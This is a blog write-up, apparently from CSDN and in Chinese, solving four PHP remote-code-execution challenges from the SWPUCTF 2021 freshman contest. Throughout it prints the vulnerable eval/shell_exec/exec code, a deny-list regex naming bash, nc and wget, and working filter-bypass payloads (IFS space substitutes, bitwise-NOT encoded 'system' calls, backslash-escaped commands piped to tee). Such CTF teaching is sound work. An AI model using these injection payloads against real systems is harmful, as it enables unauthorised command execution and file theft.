SWPUCTF 2021 新生赛 RCE题目

1.easyrce:

打开环境,直接提示后端代码

 <?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['url']))
{
eval($_GET['url']);
}
?> 

可以看出来get一个url变量之后当作命令执行,先phpinfo();一下
在这里插入图片描述有回显,那就直接找文件

system('ls');
system('ls ../');
system('ls ../../');
system('ls ../../../');

找到flag
在这里插入图片描述接着打开它(f*是通配符,匹配所有f开头文件)

system('cat ../../../f*');

得到flag
在这里插入图片描述

2.babyrce

打开环境,已经给出了代码

<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
highlight_file(__FILE__);
if($_COOKIE['admin']==1) 
{
    include "../next.php";
}
else
    echo "小饼干最好吃啦!";
?>

可以看出来是要使cookie值admin为1才能进行下一步,burpsuit抓包,将cookie项改为:admin=1,发送,可以看见给出了另一个文件的地址
在这里插入图片描述打开,发现另一串代码:

 <?php
error_reporting(0);
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET['url'])) {
  $ip=$_GET['url'];
  if(preg_match("/ /", $ip)){
      die('nonono');
  }
  $a = shell_exec($ip);
  echo $a;
}
?>

可以看见这一行

if(preg_match(“/ /”, $ip))

也就说如果传入的$ip里面有空格,会弹出nonono,并且会将传入的url值当作系统指令执行。
空格绕过的方法有很多,这里我放上error0的《浅谈基础RCE》里面说的空格绕过解决方式(文章地址:https://blog.csdn.net/qq_51295677/article/details/122629200)

%09(url传递)(tab)
%20(space)
${IFS}
$IFS$9
<>(cat<>/flag)
<(cat</flag)
$IFS
{cat,flag}//花括号

选哪一个都可以,我就用第一个了

?url=ls;//和第一个一样的我就不写了
?url=ls%09../;
?url=cat%09../../../f*;

最终得到flag
在这里插入图片描述

3.hardrce

查看代码,难度更上一层

 <?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
    $wllm = $_GET['wllm'];
    $blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
    foreach ($blacklist as $blackitem)
    {
        if (preg_match('/' . $blackitem . '/m', $wllm)) {
        die("LTLT说不能用这些奇奇怪怪的符号哦!");
    }}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
    die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
    echo "蔡总说:注意审题!!!";
}
?> 蔡总说:注意审题!!!

先是用黑名单过滤了各种符号

$blacklist = [’ ‘,’\t’,‘\r’,‘\n’,‘+’,‘[’,‘^’,‘]’,‘"’,‘-’,‘$’,‘*’,‘?’,‘<’,‘>’,‘=’,‘`’,];

然后是正则表达式过滤了字母

if(preg_match(‘/[a-zA-Z]/is’,$wllm))

可以选择使用取反运算对命令加密:

<?php
$a="system";
$b="ls";
echo urlencode(~$a);
echo "\n";
echo urlencode(~$b);
?>

得到

%8C%86%8C%8B%9A%92
%93%8C

然后传参:

?wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C);

即可完成绕过,接下来就重复上述步骤
最终得到flag
在这里插入图片描述

解释一下这个取反,使用了 PHP 中的 Bitwise NOT (~) 运算符对字符串进行取反,然后将取反后的结果使用 urlencode 函数进行 URL 编码。浏览器对url编码进行解码后可以绕过检测,并且通过~逆向运行代码。

4.finalrce

查看代码,这段 PHP 代码接受一个名为 “url” 的 GET 请求参数,然后使用 preg_match 函数对该参数进行正则匹配,检查其中是否包含一些危险的命令和特殊符号,比如 bash、nc、wget、ping、ls、cat、more、less、phpinfo、base64、echo、php、python、mv、cp、la、-、*、"、>、<、%、$ 等。

<?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{
    $url=$_GET['url'];
    if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
    {
        echo "Sorry,you can't use this.";
    }
    else
    {
        echo "Can you see anything?";
        exec($url);
    }
}

还要注意的是,exec函数不会返回内容到网页,所以需要我们用别的方式

url=l\s / | tee 2.txt

代码含义:
l\s /:越过过滤并列出根目录下的文件和目录。
|:将前一个命令的输出作为后一个命令的输入。
tee 1.txt:将输出复制一份并输出到终端窗口以及写入到名为1.txt的文件中。

然后访问1.txt,得到目录
在这里插入图片描述接着传入参数

?url=c\at /flllll\aaaaaaggggggg | tee 2.txt

再访问2.txt,可以获得flag
在这里插入图片描述

  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值